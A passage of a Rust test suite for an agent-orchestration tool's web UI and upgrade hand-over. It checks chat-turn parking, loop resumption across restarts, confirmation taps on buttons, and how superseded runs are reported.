15562            .expect("bind loopback");
15563        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15564        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15565        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15566        (ui, looping, turns, served)
15567    }
15568
15569    /// The hand-over does not release the address while a chat turn is in
15570    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
15571    /// started once the turn ends.
15572    #[tokio::test]
15573    async fn hand_over_waits_for_a_running_chat_turn() {
15574        let home = TempDir::new().expect("temp home");
15575        let (ui, looping, turns, served) = park_fixture(&home).await;
15576        let ui = Arc::new(ui);
15577        let id = "20260901-000000-chat";
15578        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15579
15580        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15581        let handover = tokio::spawn({
15582            let home = home.path().to_path_buf();
15583            let turns = Arc::clone(&turns);
15584            let calls = Arc::clone(&calls);
15585            async move {
15586                hand_over(
15587                    &home,
15588                    &looping,
15589                    &turns,
15590                    &|_: &[String]| Duration::from_secs(60),
15591                    served,
15592                    move |_| {
15593                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15594                        Ok(1)
15595                    },
15596                )
15597                .await
15598            }
15599        });
15600
15601        let waiting = async {
15602            for _ in 0..200 {
15603                if crate::updater::read_progress(home.path())
15604                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
15605                {
15606                    return;
15607                }
15608                tokio::time::sleep(Duration::from_millis(25)).await;
15609            }
15610            panic!("the park never named the chat turn");
15611        };
15612        waiting.await;
15613        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15614
15615        // A new turn is refused, a queued claim and a direct `/say` see a busy
15616        // slot, and nothing new is live.
15617        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15618        assert!(
15619            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15620            "a direct start says an upgrade is in progress"
15621        );
15622        assert!(
15623            ui.begin_queued_talk_turn("20260901-000000-late")
15624                .expect("queued claim")
15625                .is_none()
15626        );
15627        assert!(matches!(
15628            ui.begin_talk_turn_unless_pending("20260901-000000-late")
15629                .expect("start"),
15630            TalkTurnStart::Busy
15631        ));
15632        assert_eq!(turns.lock().unwrap().live.len(), 1);
15633
15634        // The health text names the turn.
15635        let progress = crate::updater::read_progress(home.path()).expect("progress");
15636        let view = upgrade_progress_view(&ui, progress);
15637        assert!(
15638            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15639            "{:?}",
15640            view.waiting_on
15641        );
15642
15643        assert!(!handover.is_finished());
15644        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15645        drop(turn);
15646        handover.await.expect("join").expect("hand over");
15647        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15648        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15649    }
15650
15651    /// Chat stays open while the loop is still parking, and closes only once
15652    /// the loop is done; a turn started during the park is waited for.
15653    #[tokio::test]
15654    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15655        let home = TempDir::new().expect("temp home");
15656        let (ui, looping, turns, served) = park_fixture(&home).await;
15657        let ui = Arc::new(ui);
15658        // A loop that ends only when told to.
15659        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15660        lock_or_recover(&looping).live = Some(Live {
15661            stop: daemon::Stop::new(),
15662            handle: tokio::spawn(async move {
15663                let _ = loop_ended.await;
15664            }),
15665            opts: daemon::Opts::default(),
15666        });
15667
15668        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15669        let handover = tokio::spawn({
15670            let home = home.path().to_path_buf();
15671            let turns = Arc::clone(&turns);
15672            let calls = Arc::clone(&calls);
15673            async move {
15674                hand_over(
15675                    &home,
15676                    &looping,
15677                    &turns,
15678                    &|_: &[String]| Duration::from_secs(60),
15679                    served,
15680                    move |_| {
15681                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15682                        Ok(1)
15683                    },
15684                )
15685                .await
15686            }
15687        });
15688
15689        let reached = async {
15690            for _ in 0..200 {
15691                if crate::updater::read_progress(home.path())
15692                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15693                {
15694                    return;
15695                }
15696                tokio::time::sleep(Duration::from_millis(25)).await;
15697            }
15698            panic!("the hand-over never reached parking");
15699        };
15700        reached.await;
15701
15702        // The loop is still parking: a chat turn starts.
15703        assert!(!turns.lock().unwrap().parking);
15704        let turn = ui
15705            .begin_talk_turn("20260901-000000-chat")
15706            .expect("claim")
15707            .expect("a turn can start while the loop parks");
15708
15709        // The loop ends; the slot closes while the first turn is still held.
15710        end_loop.send(()).expect("loop still waiting");
15711        for _ in 0..200 {
15712            if turns.lock().unwrap().parking {
15713                break;
15714            }
15715            tokio::time::sleep(Duration::from_millis(25)).await;
15716        }
15717        assert!(
15718            turns.lock().unwrap().parking,
15719            "closed once the loop is done"
15720        );
15721        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15722        assert!(
15723            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15724            "no turn starts once the loop is done"
15725        );
15726        assert!(
15727            ui.begin_queued_talk_turn("20260901-000000-late")
15728                .expect("queued claim")
15729                .is_none()
15730        );
15731        assert!(!handover.is_finished());
15732        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15733
15734        drop(turn);
15735        handover.await.expect("join").expect("hand over");
15736        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15737        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15738    }
15739
15740    /// A turn that never ends cannot block the upgrade: past the bound the
15741    /// hand-over proceeds and records which talk it gave up on.
15742    #[tokio::test]
15743    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15744        let home = TempDir::new().expect("temp home");
15745        let (ui, looping, turns, served) = park_fixture(&home).await;
15746        let id = "20260901-000000-stuk";
15747        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15748
15749        let calls = std::sync::atomic::AtomicUsize::new(0);
15750        hand_over(
15751            home.path(),
15752            &looping,
15753            &turns,
15754            &|_: &[String]| Duration::from_millis(300),
15755            served,
15756            |_| {
15757                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15758                Ok(1)
15759            },
15760        )
15761        .await
15762        .expect("hand over");
15763        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15764
15765        let progress = crate::updater::read_progress(home.path()).expect("progress");
15766        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15767        assert!(
15768            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15769            "{:?}",
15770            progress.detail
15771        );
15772        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15773        assert!(
15774            log.contains("handing over anyway") && log.contains(id),
15775            "{log}"
15776        );
15777    }
15778
15779    /// A drain that finds the upgrade parking leaves the queued draft alone
15780    /// and gives the slot up, instead of starting another turn.
15781    #[tokio::test]
15782    async fn drain_loop_starts_no_turn_while_parking() {
15783        let tmp = TempDir::new().expect("tempdir");
15784        let repo = tmp.path().join("repo");
15785        std::fs::create_dir_all(&repo).expect("repo dir");
15786        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15787        let home = TempDir::new().expect("temp home");
15788        let talks = Talks::at(home.path().join("talks"));
15789        let ui = Ui::new(
15790            Queue::at(home.path().join("queue")),
15791            Questions::at(home.path().join("questions")),
15792            talks.clone(),
15793            home.path().join("runs"),
15794            home.path().to_path_buf(),
15795            repo.clone(),
15796        )
15797        .with_worktrees_root(home.path().join("wt"));
15798        let cfg = config_for(&repo).await.expect("discover config");
15799        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15800        let id = talk.id.clone();
15801        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15802        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15803        let turns = ui.turns();
15804        let parking = ParkingTurns::begin(&turns);
15805
15806        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15807
15808        assert!(
15809            turns.lock().unwrap().live.is_empty(),
15810            "the slot is given up"
15811        );
15812        let fresh = talks.get(&id).expect("talk");
15813        assert_eq!(fresh.pending, "later", "the draft is still queued");
15814        assert!(fresh.turns.is_empty(), "no turn ran");
15815        drop(parking);
15816    }
15817
15818    /// Run `hand_over` against `ui` and return what the successor was told.
15819    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15820        let looping = ui.looping();
15821        let turns = ui.turns();
15822        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15823            .await
15824            .expect("bind loopback");
15825        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15826        let told = std::sync::Mutex::new(None);
15827        hand_over(
15828            home.path(),
15829            &looping,
15830            &turns,
15831            &|_: &[String]| Duration::from_secs(5),
15832            served,
15833            |resume| {
15834                *told.lock().unwrap() = Some(resume);
15835                Ok(1)
15836            },
15837        )
15838        .await
15839        .expect("hand over");
15840        told.into_inner().unwrap().expect("successor was started")
15841    }
15842
15843    #[tokio::test]
15844    async fn a_running_loop_is_resumed_by_the_successor() {
15845        let home = TempDir::new().expect("temp home");
15846        let ui = idle_ui(&home);
15847        ui.start_loop(None).expect("start");
15848        ui.park_for_upgrade().expect("park");
15849        // The idle loop sees the park and ends before the handover fires.
15850        for _ in 0..500 {
15851            if !ui.loop_view(None).running {
15852                break;
15853            }
15854            tokio::time::sleep(Duration::from_millis(2)).await;
15855        }
15856        assert!(handed_over(&home, ui).await, "a running loop must resume");
15857
15858        let successor = idle_ui(&home);
15859        assert!(!successor.loop_view(None).running);
15860        assert!(successor.resume_after_handover(true));
15861        assert!(successor.loop_view(None).running);
15862        successor.stop_loop(None, false).expect("stop");
15863    }
15864
15865    #[tokio::test]
15866    async fn a_second_upgrade_request_keeps_the_resume_intent() {
15867        let home = TempDir::new().expect("temp home");
15868        let ui = idle_ui(&home);
15869        ui.start_loop(None).expect("start");
15870        ui.park_for_upgrade().expect("first park");
15871        ui.park_for_upgrade().expect("second park");
15872        assert!(handed_over(&home, ui).await);
15873    }
15874
15875    #[tokio::test]
15876    async fn a_stop_during_the_handover_wait_is_honoured() {
15877        let home = TempDir::new().expect("temp home");
15878        let ui = idle_ui(&home);
15879        ui.start_loop(None).expect("start");
15880        ui.park_for_upgrade().expect("park");
15881        ui.stop_loop(None, false).expect("stop");
15882        assert!(!handed_over(&home, ui).await);
15883    }
15884
15885    #[tokio::test]
15886    async fn an_idle_loop_stays_stopped_across_the_handover() {
15887        let home = TempDir::new().expect("temp home");
15888        let ui = idle_ui(&home);
15889        ui.park_for_upgrade().expect("park");
15890        assert!(!handed_over(&home, ui).await);
15891
15892        let successor = idle_ui(&home);
15893        assert!(!successor.resume_after_handover(false));
15894        assert!(!successor.loop_view(None).running);
15895    }
15896
15897    #[tokio::test]
15898    async fn a_loop_the_operator_stopped_is_not_resumed() {
15899        let home = TempDir::new().expect("temp home");
15900        let ui = idle_ui(&home);
15901        ui.start_loop(None).expect("start");
15902        ui.stop_loop(None, false).expect("stop");
15903        ui.park_for_upgrade().expect("park");
15904        assert!(!handed_over(&home, ui).await);
15905    }
15906
15907    #[test]
15908    fn only_an_explicit_one_requests_a_resume() {
15909        assert!(!resume_requested(None));
15910        assert!(!resume_requested(Some("0".into())));
15911        assert!(!resume_requested(Some("".into())));
15912        assert!(resume_requested(Some("1".into())));
15913    }
15914
15915    #[test]
15916    fn the_upgrade_button_arms_before_it_restarts_anything() {
15917        // It ends the process the operator is talking to, and a phone in a
15918        // pocket taps things. One tap arms, the second commits.
15919        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15920        assert!(APP_JS.contains("Replace the binary and restart?"));
15921        assert!(APP_JS.contains("function confirmed("));
15922        // Hidden when the loop is somebody else's, matching the 409 above -
15923        // and hidden with nothing to install, matching the 200 "already
15924        // current" branch: an operator on the newest build must not be
15925        // offered a restart that would only park a run for nothing.
15926        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15927        // A park waits for the node in flight, up to an hour for an implement
15928        // wave. Leaving the button reading "Upgrading…" for that long is the
15929        // same mistake as an error rendered off screen: it looks wedged.
15930        assert!(
15931            APP_JS.contains("Parking, then restarting"),
15932            "the button says what it is waiting for"
15933        );
15934        // And nothing to install must give the button back rather than
15935        // pretending a restart is coming.
15936        assert!(APP_JS.contains("if (!out.to)"));
15937    }
15938
15939    #[test]
15940    fn stopping_the_loop_arms_but_starting_does_not() {
15941        // A stray tap must not leave the queue stopped overnight, so a stop is
15942        // two taps through the same helper the upgrade uses; a start stays one.
15943        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15944        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15945        assert!(APP_JS.contains("confirmed(button, question)"));
15946        // The label put back on timeout is the one saved when arming, not a
15947        // hard-coded upgrade caption that would rename the stop button.
15948        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
15949        assert!(APP_JS.contains("const label = btn.textContent;"));
15950        assert!(!APP_JS.contains("Neither direction is guarded"));
15951    }
15952
15953    #[test]
15954    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15955        assert!(
15956            APP_JS.contains("state.health.version"),
15957            "the operator wants to know what is running even with nothing newer"
15958        );
15959        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15960    }
15961
15962    #[test]
15963    fn the_upgrade_button_names_its_destination() {
15964        assert!(
15965            APP_JS.contains("`Update to ${update.to}`"),
15966            "pressing the button should not be a surprise about what it moves to"
15967        );
15968    }
15969
15970    #[test]
15971    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15972        for stage in ["downloading", "replaced", "parking", "restarting"] {
15973            assert!(
15974                APP_JS.contains(&format!("\"{stage}\"")),
15975                "the phone must be able to tell {stage} apart from the others"
15976            );
15977        }
15978        assert!(APP_JS.contains(".waiting_on"));
15979        // What replaced the bare "Cannot reach magi: Failed to fetch": a
15980        // fetch failing while an upgrade is in flight is not an error, it is
15981        // the sub-second gap `bind_waiting` covers, and it must not be
15982        // reported as one.
15983        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15984        assert!(APP_JS.contains("reconnects on its own"));
15985    }
15986
15987    #[test]
15988    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15989        // `Stage::Failed` is terminal on the server and nothing clears it on
15990        // its own - not a fresh start, not time passing - so a full-strip
15991        // takeover for it (the way the busy stages take the strip over,
15992        // correctly, because those are transient) would have hidden
15993        // start/stop/park behind an upgrade notice with no way back short of
15994        // a person editing `upgrade.json` by hand or a later release
15995        // happening to succeed. The failure must instead ride along as a note
15996        // next to whatever control the loop's own state already offers.
15997        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15998            ..APP_JS.find("function upgrade(").expect("upgrade")];
15999        assert!(
16000            !body.contains(
16001                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
16002            ),
16003            "a failed upgrade must not take the whole strip over the way it used to"
16004        );
16005        assert!(
16006            body.contains("upgradeFailNote"),
16007            "the failure has to reach the loop's own note instead"
16008        );
16009        // `quiet` and `control` are the only two places `loop-why` is set from
16010        // this function's own state; both must carry the note through, or a
16011        // future edit to either one would silently drop it again.
16012        assert_eq!(
16013            body.matches("upgradeFailNote].filter(Boolean).join")
16014                .count(),
16015            2,
16016            "both loop-why writers (quiet and control) must fold the note in"
16017        );
16018    }
16019
16020    #[test]
16021    fn an_overdue_upgrade_eventually_asks_for_a_human() {
16022        // The ceiling has to clear a full hour-long park with room to spare,
16023        // or an ordinary implement wave would be reported as a stuck upgrade.
16024        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16025        assert!(APP_JS.contains("function upgradeOverdue("));
16026    }
16027
16028    #[test]
16029    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16030        assert!(
16031            APP_JS.contains("Updated to ${upgradeInfo.to"),
16032            "the operator who asked for the restart wants to know it worked"
16033        );
16034    }
16035
16036    #[test]
16037    fn an_error_is_visible_from_where_the_button_is() {
16038        // The alert used to sit in the flow under the header. On a phone
16039        // scrolled 13 500 px down to a run's action sheet that is off screen,
16040        // so tapping Resume and being told "the loop is running run b455
16041        // right now" looked exactly like a button that did nothing.
16042        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16043            ..APP_CSS.find(".alert-text").expect(".alert-text")];
16044        assert!(
16045            alert.contains("position: fixed"),
16046            "an error about the thing under your thumb has to be visible from \
16047             where your thumb is: {alert}"
16048        );
16049        assert!(
16050            alert.contains("z-index: 25"),
16051            "above the dock (20) and the run-actions FAB (15), so neither \
16052             buries it: {alert}"
16053        );
16054        assert!(
16055            alert.contains("var(--tap)"),
16056            "and clear of the dock and the home indicator: {alert}"
16057        );
16058        // The FAB sits at the same height on the right. An error that covered
16059        // it would hide the button the operator reaches for next.
16060        assert!(
16061            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16062            "the FAB's column stays free: {alert}"
16063        );
16064    }
16065
16066    #[tokio::test]
16067    async fn an_older_attempt_says_what_replaced_it() {
16068        let fx = Fixture::start().await;
16069        let q = fx.queue();
16070        let runs = fx.runs();
16071        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16072        write_run(&runs, first, RunStatus::Stalled);
16073        write_run(&runs, second, RunStatus::Blocked);
16074
16075        let mut t = Task::new(
16076            "one task".to_owned(),
16077            "do it".to_owned(),
16078            PathBuf::from("/repo"),
16079            Source::Human,
16080        );
16081        t.runs = vec![first.to_owned(), second.to_owned()];
16082        q.put(&mut t).expect("put");
16083
16084        // Two cards with the same title and no hint which is which was the
16085        // question: "why are there two of the same, one stalled and one
16086        // blocked?" The older one now names its replacement.
16087        let rows = fx.get("/api/runs").await.json();
16088        let by = |short: &str| -> Value {
16089            rows.as_array()
16090                .unwrap()
16091                .iter()
16092                .find(|r| r["short"] == short)
16093                .cloned()
16094                .unwrap_or(Value::Null)
16095        };
16096        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16097        assert!(
16098            by("bbbb")["superseded_by"].is_null(),
16099            "the latest attempt is not superseded by anything"
16100        );
16101        // Front end: the note has to be rendered, not just carried.
16102        assert!(APP_JS.contains("run.superseded_by"));
16103        assert!(APP_JS.contains("Superseded by"));
16104    }
16105
16106    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16107        let mut t = Task::new(
16108            "one task".to_owned(),
16109            "do it".to_owned(),
16110            PathBuf::from("/repo"),
16111            Source::Human,
16112        );
16113        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16114        t.status = status;
16115        t
16116    }
16117
16118    #[test]
16119    fn source_link_picks_the_page_that_filed_the_task() {
16120        let agent = |node: &str| Source::Agent {
16121            run: "20260904-014455-ab12".to_owned(),
16122            node: node.to_owned(),
16123        };
16124        let chat = source_link(&agent("chat")).expect("chat link");
16125        assert_eq!(chat.kind, "chat");
16126        assert_eq!(chat.id, "20260904-014455-ab12");
16127        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16128        let run = source_link(&agent("implement")).expect("run link");
16129        assert_eq!(
16130            (run.kind, run.href.as_str()),
16131            ("run", "#/runs/20260904-014455-ab12")
16132        );
16133        assert_eq!(source_link(&Source::Human), None);
16134        assert_eq!(
16135            source_link(&Source::Issue {
16136                number: 3,
16137                repo: "o/r".to_owned()
16138            }),
16139            None
16140        );
16141        let odd = source_link(&Source::Agent {
16142            run: "a b/c".to_owned(),
16143            node: "chat".to_owned(),
16144        })
16145        .expect("link");
16146        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16147    }
16148
16149    #[test]
16150    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16151        assert!(
16152            !APP_JS.contains("src.node === \"chat\""),
16153            "inline href rule is back"
16154        );
16155        assert!(
16156            APP_JS.matches("sourceLinkOf(").count() >= 4,
16157            "helper must serve every page"
16158        );
16159        assert!(
16160            APP_JS.matches("openChatLink(").count() >= 3,
16161            "the run page still needs its explicit chat link"
16162        );
16163        assert!(
16164            !APP_JS.contains("const openChat = el("),
16165            "the Queue card duplicates its source label link again"
16166        );
16167        assert!(
16168            APP_JS.contains("metaKids.push(link ? el(\"a\""),
16169            "the task page must link a chat source label too"
16170        );
16171    }
16172
16173    #[test]
16174    fn task_ref_carries_the_source_link_for_a_chat_task() {
16175        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16176        t.source = Source::Agent {
16177            run: "20260904-014455-ab12".to_owned(),
16178            node: "chat".to_owned(),
16179        };
16180        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16181        let v = serde_json::to_value(&out).expect("json");
16182        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16183        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16184        assert_eq!(v["source_label"], t.source.label());
16185
16186        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16187        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16188            .expect("json");
16189        assert!(v["source_link"].is_null(), "{v}");
16190    }
16191
16192    #[test]
16193    fn task_view_serializes_source_link() {
16194        let mut t = Task::new(
16195            "t".to_owned(),
16196            "t".to_owned(),
16197            PathBuf::from("/repo"),
16198            Source::Agent {
16199                run: "20260901-000000-aaaa".to_owned(),
16200                node: "implement".to_owned(),
16201            },
16202        );
16203        t.runs.clear();
16204        let v = serde_json::to_value(TaskView::from(t)).expect("json");
16205        assert_eq!(v["source_link"]["kind"], "run", "{v}");
16206        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16207    }
16208
16209    #[tokio::test]
16210    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16211        let fx = Fixture::start().await;
16212        let runs = fx.runs();
16213        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16214        write_run(&runs, old, RunStatus::Blocked);
16215        write_run(&runs, new, RunStatus::Merged);
16216        let mut t = outcome_task(&[old, new], TaskStatus::Done);
16217        fx.queue().put(&mut t).expect("put");
16218
16219        let view = fx.get(&format!("/api/runs/{old}")).await.json();
16220        let task = &view["task"];
16221        assert_eq!(task["status"], "done");
16222        assert_eq!(task["is_latest"], false);
16223        assert_eq!(task["latest"]["short"], "bbbb");
16224        assert_eq!(task["finished_by"]["id"], new);
16225        assert_eq!(task["finished_by"]["outcome"], "merged");
16226        assert_eq!(task["closed_by_hand"], false);
16227        assert_eq!(view["status"], "blocked", "the run keeps its own status");
16228        assert!(APP_JS.contains("finished_by"));
16229        assert!(APP_JS.contains("superseded by run"));
16230    }
16231
16232    #[tokio::test]
16233    async fn the_latest_run_reports_a_held_task_without_a_successor() {
16234        let fx = Fixture::start().await;
16235        let runs = fx.runs();
16236        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16237        write_run(&runs, old, RunStatus::Stalled);
16238        write_run(&runs, new, RunStatus::Blocked);
16239        let mut t = outcome_task(&[old, new], TaskStatus::Held);
16240        fx.queue().put(&mut t).expect("put");
16241
16242        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16243        assert_eq!(task["status"], "held");
16244        assert_eq!(task["is_latest"], true);
16245        assert!(task["latest"].is_null());
16246        assert!(task["finished_by"].is_null());
16247        assert_eq!(task["closed_by_hand"], false);
16248    }
16249
16250    #[tokio::test]
16251    async fn a_direct_run_has_no_task_outcome() {
16252        let fx = Fixture::start().await;
16253        let runs = fx.runs();
16254        let id = "20260901-000000-aaaa";
16255        write_run(&runs, id, RunStatus::Blocked);
16256        let view = fx.get(&format!("/api/runs/{id}")).await.json();
16257        assert!(view["task"].is_null());
16258    }
16259
16260    #[test]
16261    fn task_outcome_does_not_guess_a_finishing_run() {
16262        let a = "20260901-000000-aaaa";
16263        let b = "20260901-000000-bbbb";
16264        let c = "20260901-000000-cccc";
16265        let dir = tempfile::tempdir().expect("tempdir");
16266        write_run(dir.path(), a, RunStatus::Blocked);
16267        write_run(dir.path(), b, RunStatus::VerifiedNoop);
16268        // `c` has no record: unreadable.
16269        let read = |id: &str| read_run(dir.path(), id).ok();
16270        // Neither a blocked run nor a no-op finished the task; the newest run is
16271        // unreadable and still named.
16272        let t = outcome_task(&[a, b, c], TaskStatus::Done);
16273        let out = task_outcome(&t, a, 3, read);
16274        assert!(out.finished_by.is_none());
16275        assert!(out.closed_by_hand);
16276        let latest = out.latest.expect("latest");
16277        assert_eq!(latest.id, c);
16278        assert_eq!(latest.status, None);
16279        assert_eq!(latest.outcome, "record unreadable");
16280
16281        // A Ready run settles the task as done, so it is named as the finisher.
16282        write_run(dir.path(), c, RunStatus::Ready);
16283        let t = outcome_task(&[a, c], TaskStatus::Done);
16284        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16285        assert_eq!(out.finished_by.expect("finisher").id, c);
16286        assert!(!out.closed_by_hand);
16287
16288        // A resumed run id repeats: it is still the latest by id.
16289        let t = outcome_task(&[a, b, a], TaskStatus::Held);
16290        assert!(task_outcome(&t, a, 3, read).is_latest);
16291    }
16292
16293    #[tokio::test]
16294    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16295        // The list route has known this since the card fix above; the detail
16296        // route — what an operator actually opens from a notification about
16297        // a blocked run — did not, and went on showing a bare red BLOCKED
16298        // chip for a run a retry had already finished.
16299        let fx = Fixture::start().await;
16300        let q = fx.queue();
16301        let runs = fx.runs();
16302        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16303        write_run(&runs, first, RunStatus::Blocked);
16304        write_run(&runs, second, RunStatus::Merged);
16305
16306        let mut t = Task::new(
16307            "one task".to_owned(),
16308            "do it".to_owned(),
16309            PathBuf::from("/repo"),
16310            Source::Human,
16311        );
16312        t.runs = vec![first.to_owned(), second.to_owned()];
16313        q.put(&mut t).expect("put");
16314
16315        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16316        assert_eq!(earlier["superseded_by"], "dddd");
16317        assert_eq!(earlier["latest_attempt"]["id"], second);
16318        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16319        assert_eq!(
16320            earlier["latest_attempt"]["resolved"], true,
16321            "the run that replaced it landed, so this one reads as settled"
16322        );
16323
16324        let later = fx.get(&format!("/api/runs/{second}")).await.json();
16325        assert!(
16326            later["superseded_by"].is_null(),
16327            "the latest attempt is not superseded by anything"
16328        );
16329        assert!(
16330            later["latest_attempt"].is_null(),
16331            "the latest attempt has no later attempt of its own"
16332        );
16333
16334        // Front end: the detail page has to read the field this route now
16335        // carries, downgrade the chip, and link to the run that replaced it —
16336        // not just repeat the list card's own logic under a different name.
16337        // The link is built off `latest_attempt.id`, the server-resolved
16338        // full id, never a bare short string a client would have to guess a
16339        // full run from.
16340        assert!(APP_JS.contains("run.latest_attempt"));
16341        assert!(APP_JS.contains("data-superseded"));
16342        assert!(APP_JS.contains("#/runs/${latest.id}"));
16343    }
16344
16345    #[tokio::test]
16346    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16347        // A -> B -> C, all Blocked except the last. A's immediate successor
16348        // (superseded_by) is B, which is itself unresolved; what an operator
16349        // opening A's page actually needs is where the task's story stands
16350        // *now* - C, not B - without depending on whether C happens to be in
16351        // whatever page of /api/runs the client last cached.
16352        let fx = Fixture::start().await;
16353        let q = fx.queue();
16354        let runs = fx.runs();
16355        let (a, b, c) = (
16356            "20260901-000000-aaaa",
16357            "20260901-000000-bbbb",
16358            "20260901-000000-cccc",
16359        );
16360        write_run(&runs, a, RunStatus::Blocked);
16361        write_run(&runs, b, RunStatus::Blocked);
16362        write_run(&runs, c, RunStatus::Merged);
16363
16364        let mut t = Task::new(
16365            "retried twice".to_owned(),
16366            "do it".to_owned(),
16367            PathBuf::from("/repo"),
16368            Source::Human,
16369        );
16370        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16371        q.put(&mut t).expect("put");
16372
16373        let view = fx.get(&format!("/api/runs/{a}")).await.json();
16374        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16375        assert_eq!(
16376            view["latest_attempt"]["id"], c,
16377            "the chain's current head, not the intermediate Blocked retry"
16378        );
16379        assert_eq!(view["latest_attempt"]["resolved"], true);
16380
16381        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16382        assert_eq!(mid["latest_attempt"]["id"], c);
16383        assert_eq!(mid["latest_attempt"]["resolved"], true);
16384    }
16385
16386    #[tokio::test]
16387    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16388        let fx = Fixture::start().await;
16389        let q = fx.queue();
16390        let runs = fx.runs();
16391
16392        // Still Blocked: the task is not resolved, so the older run must not
16393        // read as settled either.
16394        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16395        write_run(&runs, still_blocked_a, RunStatus::Blocked);
16396        write_run(&runs, still_blocked_b, RunStatus::Blocked);
16397        let mut t1 = Task::new(
16398            "still stuck".to_owned(),
16399            "do it".to_owned(),
16400            PathBuf::from("/repo"),
16401            Source::Human,
16402        );
16403        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16404        q.put(&mut t1).expect("put");
16405        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16406        assert_eq!(view1["latest_attempt"]["resolved"], false);
16407        assert_eq!(view1["latest_attempt"]["status"], "blocked");
16408        assert_eq!(view1["latest_attempt"]["done"], true);
16409
16410        // Still running: the successor exists and must be reported as such.
